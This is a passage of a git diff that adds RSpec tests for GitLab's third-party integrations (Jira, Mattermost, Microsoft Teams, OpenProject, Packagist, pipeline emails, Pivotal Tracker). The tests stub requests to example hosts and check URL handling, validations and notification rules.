+ def server_info
+ jira_service.test(nil)
+ end
+
+ context 'when the test succeeds' do
+ it 'gets Jira project with URL when API URL not set' do
+ expect(server_info).to eq(success: true, result: server_info_results)
+ expect(WebMock).to have_requested(:get, /jira.example.com/)
+ end
+
+ it 'gets Jira project with API URL if set' do
+ jira_service.update!(api_url: 'http://jira.api.com')
+
+ expect(server_info).to eq(success: true, result: server_info_results)
+ expect(WebMock).to have_requested(:get, /jira.api.com/)
+ end
+ end
+
+ context 'when the test fails' do
+ it 'returns result with the error' do
+ test_url = 'http://jira.example.com/rest/api/2/serverInfo'
+ error_message = 'Some specific failure.'
+
+ WebMock.stub_request(:get, test_url).with(basic_auth: [username, password])
+ .to_raise(JIRA::HTTPError.new(double(message: error_message)))
+
+ expect(jira_service).to receive(:log_error).with(
+ 'Error sending message',
+ client_url: 'http://jira.example.com',
+ error: error_message
+ )
+
+ expect(jira_service.test(nil)).to eq(success: false, result: error_message)
+ end
+ end
+ end
+
+ describe 'project and issue urls' do
+ context 'when gitlab.yml was initialized' do
+ it 'is prepopulated with the settings' do
+ settings = {
+ 'jira' => {
+ 'url' => 'http://jira.sample/projects/project_a',
+ 'api_url' => 'http://jira.sample/api'
+ }
+ }
+ allow(Gitlab.config).to receive(:issues_tracker).and_return(settings)
+
+ service = project.create_jira_service(active: true)
+
+ expect(service.url).to eq('http://jira.sample/projects/project_a')
+ expect(service.api_url).to eq('http://jira.sample/api')
+ end
+ end
+
+ it 'removes trailing slashes from url' do
+ service = described_class.new(url: 'http://jira.test.com/path/')
+
+ expect(service.url).to eq('http://jira.test.com/path')
+ end
+ end
+
+ describe 'favicon urls' do
+ it 'includes the standard favicon' do
+ props = described_class.new.send(:build_remote_link_props, url: 'http://example.com', title: 'title')
+ expect(props[:object][:icon][:url16x16]).to match %r{^http://localhost/assets/favicon(?:-\h+).png$}
+ end
+
+ it 'includes returns the custom favicon' do
+ create :appearance, favicon: fixture_file_upload('spec/fixtures/dk.png')
+
+ props = described_class.new.send(:build_remote_link_props, url: 'http://example.com', title: 'title')
+ expect(props[:object][:icon][:url16x16]).to match %r{^http://localhost/uploads/-/system/appearance/favicon/\d+/dk.png$}
+ end
+ end
+
+ context 'generating external URLs' do
+ let(:integration) { described_class.new(url: 'http://jira.test.com/path/') }
+
+ describe '#web_url' do
+ it 'handles paths, slashes, and query string' do
+ expect(integration.web_url).to eq(integration.url)
+ expect(integration.web_url('subpath/')).to eq('http://jira.test.com/path/subpath')
+ expect(integration.web_url('/subpath/')).to eq('http://jira.test.com/path/subpath')
+ expect(integration.web_url('subpath', foo: :bar)).to eq('http://jira.test.com/path/subpath?foo=bar')
+ end
+
+ it 'preserves existing query string' do
+ integration.url = 'http://jira.test.com/path/?nosso&foo=bar%20bar'
+
+ expect(integration.web_url).to eq("http://jira.test.com/path?foo=bar%20bar&nosso")
+ expect(integration.web_url('subpath/')).to eq('http://jira.test.com/path/subpath?foo=bar%20bar&nosso')
+ expect(integration.web_url('/subpath/')).to eq('http://jira.test.com/path/subpath?foo=bar%20bar&nosso')
+ expect(integration.web_url('subpath', bar: 'baz baz')).to eq('http://jira.test.com/path/subpath?bar=baz%20baz&foo=bar%20bar&nosso')
+ end
+
+ it 'includes Atlassian referrer for gitlab.com' do
+ allow(Gitlab).to receive(:com?).and_return(true)
+
+ expect(integration.web_url).to eq("http://jira.test.com/path?#{described_class::ATLASSIAN_REFERRER_GITLAB_COM.to_query}")
+
+ allow(Gitlab).to receive(:staging?).and_return(true)
+
+ expect(integration.web_url).to eq(integration.url)
+ end
+
+ it 'includes Atlassian referrer for self-managed' do
+ allow(Gitlab).to receive(:dev_or_test_env?).and_return(false)
+
+ expect(integration.web_url).to eq("http://jira.test.com/path?#{described_class::ATLASSIAN_REFERRER_SELF_MANAGED.to_query}")
+ end
+ end
+
+ describe '#issues_url' do
+ it 'returns the correct URL' do
+ expect(integration.issues_url).to eq('http://jira.test.com/path/browse/:id')
+ end
+ end
+
+ describe '#new_issue_url' do
+ it 'returns the correct URL' do
+ expect(integration.new_issue_url).to eq('http://jira.test.com/path/secure/CreateIssue!default.jspa')
+ end
+ end
+ end
+
+ describe '#issue_transition_enabled?' do
+ it 'returns true if automatic transitions are enabled' do
+ jira_service.jira_issue_transition_automatic = true
+
+ expect(jira_service.issue_transition_enabled?).to be(true)
+ end
+
+ it 'returns true if custom transitions are set' do
+ jira_service.jira_issue_transition_id = '1, 2, 3'
+
+ expect(jira_service.issue_transition_enabled?).to be(true)
+ end
+
+ it 'returns false if automatic and custom transitions are disabled' do
+ expect(jira_service.issue_transition_enabled?).to be(false)
+ end
+ end
+end
diff --git a/spec/models/integrations/jira_tracker_data_spec.rb b/spec/models/integrations/jira_tracker_data_spec.rb
new file mode 100644
index 00000000000..5430dd2eb52
--- /dev/null
+++ b/spec/models/integrations/jira_tracker_data_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::JiraTrackerData do
+ describe 'associations' do
+ it { is_expected.to belong_to(:integration) }
+ end
+
+ describe 'deployment_type' do
+ it { is_expected.to define_enum_for(:deployment_type).with_values([:unknown, :server, :cloud]).with_prefix(:deployment) }
+ end
+
+ describe 'encrypted attributes' do
+ subject { described_class.encrypted_attributes.keys }
+
+ it { is_expected.to contain_exactly(:api_url, :password, :url, :username) }
+ end
+end
diff --git a/spec/models/integrations/mattermost_slash_commands_spec.rb b/spec/models/integrations/mattermost_slash_commands_spec.rb
new file mode 100644
index 00000000000..c8a6584591c
--- /dev/null
+++ b/spec/models/integrations/mattermost_slash_commands_spec.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::MattermostSlashCommands do
+ it_behaves_like Integrations::BaseSlashCommands
+
+ context 'Mattermost API' do
+ let(:project) { create(:project) }
+ let(:service) { project.build_mattermost_slash_commands_service }
+ let(:user) { create(:user) }
+
+ before do
+ session = ::Mattermost::Session.new(nil)
+ session.base_uri = 'http://mattermost.example.com'
+
+ allow_any_instance_of(::Mattermost::Client).to receive(:with_session)
+ .and_yield(session)
+ end
+
+ describe '#configure' do
+ subject do
+ service.configure(user, team_id: 'abc',
+ trigger: 'gitlab', url: 'http://trigger.url',
+ icon_url: 'http://icon.url/icon.png')
+ end
+
+ context 'the requests succeeds' do
+ before do
+ stub_request(:post, 'http://mattermost.example.com/api/v4/commands')
+ .with(body: {
+ team_id: 'abc',
+ trigger: 'gitlab',
+ url: 'http://trigger.url',
+ icon_url: 'http://icon.url/icon.png',
+ auto_complete: true,
+ auto_complete_desc: "Perform common operations on: #{project.full_name}",
+ auto_complete_hint: '[help]',
+ description: "Perform common operations on: #{project.full_name}",
+ display_name: "GitLab / #{project.full_name}",
+ method: 'P',
+ username: 'GitLab'
+ }.to_json)
+ .to_return(
+ status: 200,
+ headers: { 'Content-Type' => 'application/json' },
+ body: { token: 'token' }.to_json
+ )
+ end
+
+ it 'saves the service' do
+ expect { subject }.to change { project.integrations.count }.by(1)
+ end
+
+ it 'saves the token' do
+ subject
+
+ expect(service.reload.token).to eq('token')
+ end
+ end
+
+ context 'an error is received' do
+ before do
+ stub_request(:post, 'http://mattermost.example.com/api/v4/commands')
+ .to_return(
+ status: 500,
+ headers: { 'Content-Type' => 'application/json' },
+ body: {
+ id: 'api.command.duplicate_trigger.app_error',
+ message: 'This trigger word is already in use. Please choose another word.',
+ detailed_error: '',
+ request_id: 'obc374man7bx5r3dbc1q5qhf3r',
+ status_code: 500
+ }.to_json
+ )
+ end
+
+ it 'shows error messages' do
+ succeeded, message = subject
+
+ expect(succeeded).to be(false)
+ expect(message).to eq('This trigger word is already in use. Please choose another word.')
+ end
+ end
+ end
+
+ describe '#list_teams' do
+ subject do
+ service.list_teams(user)
+ end
+
+ context 'the requests succeeds' do
+ before do
+ stub_request(:get, 'http://mattermost.example.com/api/v4/users/me/teams')
+ .to_return(
+ status: 200,
+ headers: { 'Content-Type' => 'application/json' },
+ body: [{ id: 'test_team_id' }].to_json
+ )
+ end
+
+ it 'returns a list of teams' do
+ expect(subject).not_to be_empty
+ end
+ end
+
+ context 'an error is received' do
+ before do
+ stub_request(:get, 'http://mattermost.example.com/api/v4/users/me/teams')
+ .to_return(
+ status: 500,
+ headers: { 'Content-Type' => 'application/json' },
+ body: {
+ message: 'Failed to get team list.'
+ }.to_json
+ )
+ end
+
+ it 'shows error messages' do
+ expect(subject).to eq([[], "Failed to get team list."])
+ end
+ end
+ end
+
+ describe '#chat_responder' do
+ it 'returns the responder to use for Mattermost' do
+ expect(described_class.new.chat_responder)
+ .to eq(Gitlab::Chat::Responder::Mattermost)
+ end
+ end
+ end
+end
diff --git a/spec/models/integrations/mattermost_spec.rb b/spec/models/integrations/mattermost_spec.rb
new file mode 100644
index 00000000000..f7702846b6c
--- /dev/null
+++ b/spec/models/integrations/mattermost_spec.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Mattermost do
+ it_behaves_like Integrations::SlackMattermostNotifier, "Mattermost"
+end
diff --git a/spec/models/integrations/microsoft_teams_spec.rb b/spec/models/integrations/microsoft_teams_spec.rb
new file mode 100644
index 00000000000..2f1be233eb2
--- /dev/null
+++ b/spec/models/integrations/microsoft_teams_spec.rb
@@ -0,0 +1,360 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::MicrosoftTeams do
+ let(:chat_service) { described_class.new }
+ let(:webhook_url) { 'https://example.gitlab.com/' }
+
+ describe "Associations" do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:webhook) }
+ it_behaves_like 'issue tracker service URL attribute', :webhook
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:webhook) }
+ end
+ end
+
+ describe '.supported_events' do
+ it 'does not support deployment_events' do
+ expect(described_class.supported_events).not_to include('deployment')
+ end
+ end
+
+ describe "#execute" do
+ let(:user) { create(:user) }
+
+ let_it_be(:project) { create(:project, :repository, :wiki_repo) }
+
+ before do
+ allow(chat_service).to receive_messages(
+ project: project,
+ project_id: project.id,
+ service_hook: true,
+ webhook: webhook_url
+ )
+
+ WebMock.stub_request(:post, webhook_url)
+ end
+
+ context 'with push events' do
+ let(:push_sample_data) do
+ Gitlab::DataBuilder::Push.build_sample(project, user)
+ end
+
+ it "calls Microsoft Teams API for push events" do
+ chat_service.execute(push_sample_data)
+
+ expect(WebMock).to have_requested(:post, webhook_url).once
+ end
+
+ it 'specifies the webhook when it is configured' do
+ expect(::MicrosoftTeams::Notifier).to receive(:new).with(webhook_url).and_return(double(:microsoft_teams_service).as_null_object)
+
+ chat_service.execute(push_sample_data)
+ end
+ end
+
+ context 'with issue events' do
+ let(:opts) { { title: 'Awesome issue', description: 'please fix' } }
+ let(:issues_sample_data) do
+ service = Issues::CreateService.new(project: project, current_user: user, params: opts)
+ issue = service.execute
+ service.hook_data(issue, 'open')
+ end
+
+ it "calls Microsoft Teams API" do
+ chat_service.execute(issues_sample_data)
+
+ expect(WebMock).to have_requested(:post, webhook_url).once
+ end
+ end
+
+ context 'with merge events' do
+ let(:opts) do
+ {
+ title: 'Awesome merge_request',
+ description: 'please fix',
+ source_branch: 'feature',
+ target_branch: 'master'
+ }
+ end
+
+ let(:merge_sample_data) do
+ service = MergeRequests::CreateService.new(project: project, current_user: user, params: opts)
+ merge_request = service.execute
+ service.hook_data(merge_request, 'open')
+ end
+
+ before do
+ project.add_developer(user)
+ end
+
+ it "calls Microsoft Teams API" do
+ chat_service.execute(merge_sample_data)
+
+ expect(WebMock).to have_requested(:post, webhook_url).once
+ end
+ end
+
+ context 'with wiki page events' do
+ let(:opts) do
+ {
+ title: "Awesome wiki_page",
+ content: "Some text describing some thing or another",
+ format: "md",
+ message: "user created page: Awesome wiki_page"
+ }
+ end
+
+ let(:wiki_page) { create(:wiki_page, wiki: project.wiki, **opts) }
+ let(:wiki_page_sample_data) { Gitlab::DataBuilder::WikiPage.build(wiki_page, user, 'create') }
+
+ it "calls Microsoft Teams API" do
+ chat_service.execute(wiki_page_sample_data)
+
+ expect(WebMock).to have_requested(:post, webhook_url).once
+ end
+ end
+ end
+
+ describe "Note events" do
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository, creator: user) }
+
+ before do
+ allow(chat_service).to receive_messages(
+ project: project,
+ project_id: project.id,
+ service_hook: true,
+ webhook: webhook_url
+ )
+
+ WebMock.stub_request(:post, webhook_url)
+ end
+
+ context 'when commit comment event executed' do
+ let(:commit_note) do
+ create(:note_on_commit, author: user,
+ project: project,
+ commit_id: project.repository.commit.id,
+ note: 'a comment on a commit')
+ end
+
+ it "calls Microsoft Teams API for commit comment events" do
+ data = Gitlab::DataBuilder::Note.build(commit_note, user)
+
+ chat_service.execute(data)
+
+ expect(WebMock).to have_requested(:post, webhook_url).once
+ end
+ end
+
+ context 'when merge request comment event executed' do
+ let(:merge_request_note) do
+ create(:note_on_merge_request, project: project,
+ note: "merge request note")
+ end
+
+ it "calls Microsoft Teams API for merge request comment events" do
+ data = Gitlab::DataBuilder::Note.build(merge_request_note, user)
+
+ chat_service.execute(data)
+
+ expect(WebMock).to have_requested(:post, webhook_url).once
+ end
+ end
+
+ context 'when issue comment event executed' do
+ let(:issue_note) do
+ create(:note_on_issue, project: project, note: "issue note")
+ end
+
+ it "calls Microsoft Teams API for issue comment events" do
+ data = Gitlab::DataBuilder::Note.build(issue_note, user)
+
+ chat_service.execute(data)
+
+ expect(WebMock).to have_requested(:post, webhook_url).once
+ end
+ end
+
+ context 'when snippet comment event executed' do
+ let(:snippet_note) do
+ create(:note_on_project_snippet, project: project,
+ note: "snippet note")
+ end
+
+ it "calls Microsoft Teams API for snippet comment events" do
+ data = Gitlab::DataBuilder::Note.build(snippet_note, user)
+
+ chat_service.execute(data)
+
+ expect(WebMock).to have_requested(:post, webhook_url).once
+ end
+ end
+ end
+
+ describe 'Pipeline events' do
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository) }
+
+ let(:pipeline) do
+ create(:ci_pipeline,
+ project: project, status: status,
+ sha: project.commit.sha, ref: project.default_branch)
+ end
+
+ before do
+ allow(chat_service).to receive_messages(
+ project: project,
+ service_hook: true,
+ webhook: webhook_url
+ )
+ end
+
+ shared_examples 'call Microsoft Teams API' do |branches_to_be_notified: nil|
+ before do
+ WebMock.stub_request(:post, webhook_url)
+ chat_service.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
+ end
+
+ it 'calls Microsoft Teams API for pipeline events' do
+ data = Gitlab::DataBuilder::Pipeline.build(pipeline)
+ data[:markdown] = true
+
+ chat_service.execute(data)
+
+ message = Integrations::ChatMessage::PipelineMessage.new(data)
+
+ expect(WebMock).to have_requested(:post, webhook_url)
+ .with(body: hash_including({ summary: message.summary }))
+ .once
+ end
+ end
+
+ shared_examples 'does not call Microsoft Teams API' do |branches_to_be_notified: nil|
+ before do
+ chat_service.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
+ end
+ it 'does not call Microsoft Teams API for pipeline events' do
+ data = Gitlab::DataBuilder::Pipeline.build(pipeline)
+ result = chat_service.execute(data)
+
+ expect(result).to be_falsy
+ end
+ end
+
+ context 'with failed pipeline' do
+ let(:status) { 'failed' }
+
+ it_behaves_like 'call Microsoft Teams API'
+ end
+
+ context 'with succeeded pipeline' do
+ let(:status) { 'success' }
+
+ context 'with default to notify_only_broken_pipelines' do
+ it 'does not call Microsoft Teams API for pipeline events' do
+ data = Gitlab::DataBuilder::Pipeline.build(pipeline)
+ result = chat_service.execute(data)
+
+ expect(result).to be_falsy
+ end
+ end
+
+ context 'with setting notify_only_broken_pipelines to false' do
+ before do
+ chat_service.notify_only_broken_pipelines = false
+ end
+
+ it_behaves_like 'call Microsoft Teams API'
+ end
+ end
+
+ context 'with default branch' do
+ let(:pipeline) do
+ create(:ci_pipeline, project: project, status: 'failed', sha: project.commit.sha, ref: project.default_branch)
+ end
+
+ context 'only notify for the default branch' do
+ it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "default"
+ end
+
+ context 'notify for only protected branches' do
+ it_behaves_like 'does not call Microsoft Teams API', branches_to_be_notified: "protected"
+ end
+
+ context 'notify for only default and protected branches' do
+ it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notify for all branches' do
+ it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "all"
+ end
+ end
+
+ context 'with protected branch' do
+ before do
+ create(:protected_branch, project: project, name: 'a-protected-branch')
+ end
+
+ let(:pipeline) do
+ create(:ci_pipeline, project: project, status: 'failed', sha: project.commit.sha, ref: 'a-protected-branch')
+ end
+
+ context 'only notify for the default branch' do
+ it_behaves_like 'does not call Microsoft Teams API', branches_to_be_notified: "default"
+ end
+
+ context 'notify for only protected branches' do
+ it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "protected"
+ end
+
+ context 'notify for only default and protected branches' do
+ it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notify for all branches' do
+ it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "all"
+ end
+ end
+
+ context 'with neither protected nor default branch' do
+ let(:pipeline) do
+ create(:ci_pipeline, project: project, status: 'failed', sha: project.commit.sha, ref: 'a-random-branch')
+ end
+
+ context 'only notify for the default branch' do
+ it_behaves_like 'does not call Microsoft Teams API', branches_to_be_notified: "default"
+ end
+
+ context 'notify for only protected branches' do
+ it_behaves_like 'does not call Microsoft Teams API', branches_to_be_notified: "protected"
+ end
+
+ context 'notify for only default and protected branches' do
+ it_behaves_like 'does not call Microsoft Teams API', branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notify for all branches' do
+ it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "all"
+ end
+ end
+ end
+end
diff --git a/spec/models/integrations/open_project_spec.rb b/spec/models/integrations/open_project_spec.rb
new file mode 100644
index 00000000000..e5b976dc91d
--- /dev/null
+++ b/spec/models/integrations/open_project_spec.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::OpenProject do
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:url) }
+ it { is_expected.to validate_presence_of(:token) }
+ it { is_expected.to validate_presence_of(:project_identifier_code) }
+
+ it_behaves_like 'issue tracker service URL attribute', :url
+ it_behaves_like 'issue tracker service URL attribute', :api_url
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:url) }
+ it { is_expected.not_to validate_presence_of(:token) }
+ it { is_expected.not_to validate_presence_of(:project_identifier_code) }
+ end
+ end
+
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+end
diff --git a/spec/models/integrations/open_project_tracker_data_spec.rb b/spec/models/integrations/open_project_tracker_data_spec.rb
new file mode 100644
index 00000000000..41c913f978c
--- /dev/null
+++ b/spec/models/integrations/open_project_tracker_data_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::OpenProjectTrackerData do
+ describe 'associations' do
+ it { is_expected.to belong_to(:integration) }
+ end
+
+ describe 'closed_status_id' do
+ it 'returns the set value' do
+ expect(build(:open_project_tracker_data).closed_status_id).to eq('15')
+ end
+
+ it 'returns the default value if not set' do
+ expect(build(:open_project_tracker_data, closed_status_id: nil).closed_status_id).to eq('13')
+ end
+ end
+end
diff --git a/spec/models/integrations/packagist_spec.rb b/spec/models/integrations/packagist_spec.rb
new file mode 100644
index 00000000000..48f7e81adca
--- /dev/null
+++ b/spec/models/integrations/packagist_spec.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Packagist do
+ let(:packagist_params) do
+ {
+ active: true,
+ project: project,
+ properties: {
+ username: packagist_username,
+ token: packagist_token,
+ server: packagist_server
+ }
+ }
+ end
+
+ let(:packagist_hook_url) do
+ "#{packagist_server}/api/update-package?username=#{packagist_username}&apiToken=#{packagist_token}"
+ end
+
+ let(:packagist_token) { 'verySecret' }
+ let(:packagist_username) { 'theUser' }
+ let(:packagist_server) { 'https://packagist.example.com' }
+ let(:project) { create(:project) }
+
+ describe "Associations" do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe '#execute' do
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository) }
+ let(:push_sample_data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
+ let(:packagist_service) { described_class.create!(packagist_params) }
+
+ before do
+ stub_request(:post, packagist_hook_url)
+ end
+
+ it 'calls Packagist API' do
+ packagist_service.execute(push_sample_data)
+
+ expect(a_request(:post, packagist_hook_url)).to have_been_made.once
+ end
+ end
+end
diff --git a/spec/models/integrations/pipelines_email_spec.rb b/spec/models/integrations/pipelines_email_spec.rb
new file mode 100644
index 00000000000..90055b04bb8
--- /dev/null
+++ b/spec/models/integrations/pipelines_email_spec.rb
@@ -0,0 +1,305 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::PipelinesEmail, :mailer do
+ let(:pipeline) do
+ create(:ci_pipeline, :failed,
+ project: project,
+ sha: project.commit('master').sha,
+ ref: project.default_branch
+ )
+ end
+
+ let(:project) { create(:project, :repository) }
+ let(:recipients) { 'test@gitlab.com' }
+ let(:receivers) { [recipients] }
+
+ let(:data) do
+ Gitlab::DataBuilder::Pipeline.build(pipeline)
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:recipients) }
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:recipients) }
+ end
+ end
+
+ shared_examples 'sending email' do |branches_to_be_notified: nil|
+ before do
+ subject.recipients = recipients
+ subject.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
+
+ perform_enqueued_jobs do
+ run
+ end
+ end
+
+ it 'sends email' do
+ emails = receivers.map { |r| double(notification_email: r) }
+
+ should_only_email(*emails, kind: :bcc)
+ end
+ end
+
+ shared_examples 'not sending email' do |branches_to_be_notified: nil|
+ before do
+ subject.recipients = recipients
+ subject.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
+
+ perform_enqueued_jobs do
+ run
+ end
+ end
+
+ it 'does not send email' do
+ should_not_email_anyone
+ end
+ end
+
+ describe '#test' do
+ def run
+ subject.test(data)
+ end
+
+ context 'when pipeline is failed and on default branch' do
+ it_behaves_like 'sending email'
+ end
+
+ context 'when pipeline is succeeded' do
+ before do
+ data[:object_attributes][:status] = 'success'
+ pipeline.update!(status: 'success')
+ end
+
+ it_behaves_like 'sending email'
+ end
+
+ context 'when the pipeline failed' do
+ context 'on default branch' do
+ before do
+ data[:object_attributes][:ref] = project.default_branch
+ pipeline.update!(ref: project.default_branch)
+ end
+
+ context 'notifications are enabled only for default branch' do
+ it_behaves_like 'sending email', branches_to_be_notified: "default"
+ end
+
+ context 'notifications are enabled only for protected branch' do
+ it_behaves_like 'sending email', branches_to_be_notified: "protected"
+ end
+
+ context 'notifications are enabled only for default and protected branches ' do
+ it_behaves_like 'sending email', branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notifications are enabled only for all branches' do
+ it_behaves_like 'sending email', branches_to_be_notified: "all"
+ end
+ end
+
+ context 'on a protected branch' do
+ before do
+ create(:protected_branch, project: project, name: 'a-protected-branch')
+ data[:object_attributes][:ref] = 'a-protected-branch'
+ pipeline.update!(ref: 'a-protected-branch')
+ end
+
+ context 'notifications are enabled only for default branch' do
+ it_behaves_like 'sending email', branches_to_be_notified: "default"
+ end
+
+ context 'notifications are enabled only for protected branch' do
+ it_behaves_like 'sending email', branches_to_be_notified: "protected"
+ end
+
+ context 'notifications are enabled only for default and protected branches ' do
+ it_behaves_like 'sending email', branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notifications are enabled only for all branches' do
+ it_behaves_like 'sending email', branches_to_be_notified: "all"
+ end
+ end
+
+ context 'on a neither protected nor default branch' do
+ before do
+ data[:object_attributes][:ref] = 'a-random-branch'
+ pipeline.update!(ref: 'a-random-branch')
+ end
+
+ context 'notifications are enabled only for default branch' do
+ it_behaves_like 'sending email', branches_to_be_notified: "default"
+ end
+
+ context 'notifications are enabled only for protected branch' do
+ it_behaves_like 'sending email', branches_to_be_notified: "protected"
+ end
+
+ context 'notifications are enabled only for default and protected branches ' do
+ it_behaves_like 'sending email', branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notifications are enabled only for all branches' do
+ it_behaves_like 'sending email', branches_to_be_notified: "all"
+ end
+ end
+ end
+ end
+
+ describe '#execute' do
+ before do
+ subject.project = project
+ end
+
+ def run
+ subject.execute(data)
+ end
+
+ context 'with recipients' do
+ context 'with failed pipeline' do
+ it_behaves_like 'sending email'
+ end
+
+ context 'with succeeded pipeline' do
+ before do
+ data[:object_attributes][:status] = 'success'
+ pipeline.update!(status: 'success')
+ end
+
+ it_behaves_like 'not sending email'
+ end
+
+ context 'with notify_only_broken_pipelines on' do
+ before do
+ subject.notify_only_broken_pipelines = true
+ end
+
+ context 'with failed pipeline' do
+ it_behaves_like 'sending email'
+ end
+
+ context 'with succeeded pipeline' do
+ before do
+ data[:object_attributes][:status] = 'success'
+ pipeline.update!(status: 'success')
+ end
+
+ it_behaves_like 'not sending email'
+ end
+ end
+
+ context 'when the pipeline failed' do
+ context 'on default branch' do
+ before do
+ data[:object_attributes][:ref] = project.default_branch
+ pipeline.update!(ref: project.default_branch)
+ end
+
+ context 'notifications are enabled only for default branch' do
+ it_behaves_like 'sending email', branches_to_be_notified: "default"
+ end
+
+ context 'notifications are enabled only for protected branch' do
+ it_behaves_like 'not sending email', branches_to_be_notified: "protected"
+ end
+
+ context 'notifications are enabled only for default and protected branches ' do
+ it_behaves_like 'sending email', branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notifications are enabled only for all branches' do
+ it_behaves_like 'sending email', branches_to_be_notified: "all"
+ end
+ end
+
+ context 'on a protected branch' do
+ before do
+ create(:protected_branch, project: project, name: 'a-protected-branch')
+ data[:object_attributes][:ref] = 'a-protected-branch'
+ pipeline.update!(ref: 'a-protected-branch')
+ end
+
+ context 'notifications are enabled only for default branch' do
+ it_behaves_like 'not sending email', branches_to_be_notified: "default"
+ end
+
+ context 'notifications are enabled only for protected branch' do
+ it_behaves_like 'sending email', branches_to_be_notified: "protected"
+ end
+
+ context 'notifications are enabled only for default and protected branches ' do
+ it_behaves_like 'sending email', branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notifications are enabled only for all branches' do
+ it_behaves_like 'sending email', branches_to_be_notified: "all"
+ end
+ end
+
+ context 'on a neither protected nor default branch' do
+ before do
+ data[:object_attributes][:ref] = 'a-random-branch'
+ pipeline.update!(ref: 'a-random-branch')
+ end
+
+ context 'notifications are enabled only for default branch' do
+ it_behaves_like 'not sending email', branches_to_be_notified: "default"
+ end
+
+ context 'notifications are enabled only for protected branch' do
+ it_behaves_like 'not sending email', branches_to_be_notified: "protected"
+ end
+
+ context 'notifications are enabled only for default and protected branches ' do
+ it_behaves_like 'not sending email', branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notifications are enabled only for all branches' do
+ it_behaves_like 'sending email', branches_to_be_notified: "all"
+ end
+ end
+ end
+ end
+
+ context 'with empty recipients list' do
+ let(:recipients) { ' ,, ' }
+
+ context 'with failed pipeline' do
+ before do
+ data[:object_attributes][:status] = 'failed'
+ pipeline.update!(status: 'failed')
+ end
+
+ it_behaves_like 'not sending email'
+ end
+ end
+
+ context 'with recipients list separating with newlines' do
+ let(:recipients) { "\ntest@gitlab.com, \r\nexample@gitlab.com\rother@gitlab.com" }
+ let(:receivers) { %w[test@gitlab.com example@gitlab.com other@gitlab.com] }
+
+ context 'with failed pipeline' do
+ before do
+ data[:object_attributes][:status] = 'failed'
+ pipeline.update!(status: 'failed')
+ end
+
+ it_behaves_like 'sending email'
+ end
+ end
+ end
+end
diff --git a/spec/models/integrations/pivotaltracker_spec.rb b/spec/models/integrations/pivotaltracker_spec.rb
new file mode 100644
index 00000000000..2ce90b6f739
--- /dev/null
+++ b/spec/models/integrations/pivotaltracker_spec.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Pivotaltracker do
+ include StubRequests
+
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:token) }
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:token) }
+ end
+ end
+
+ describe 'Execute' do
+ let(:service) do
+ described_class.new.tap do |service|
+ service.token = 'secret_api_token'
+ end
+ end
+
+ let(:url) { described_class::API_ENDPOINT }
+
+ def push_data(branch: 'master')
+ {
+ object_kind: 'push',
+ ref: "refs/heads/#{branch}",
+ commits: [
+ {
+ id: '21c12ea',
+ author: {
+ name: 'Some User'
+ },
+ url: 'https://example.com/commit',
+ message: 'commit message'
+ }
+ ]
+ }
+ end
+
+ before do
+ stub_full_request(url, method: :post)
+ end
+
+ it 'posts correct message' do
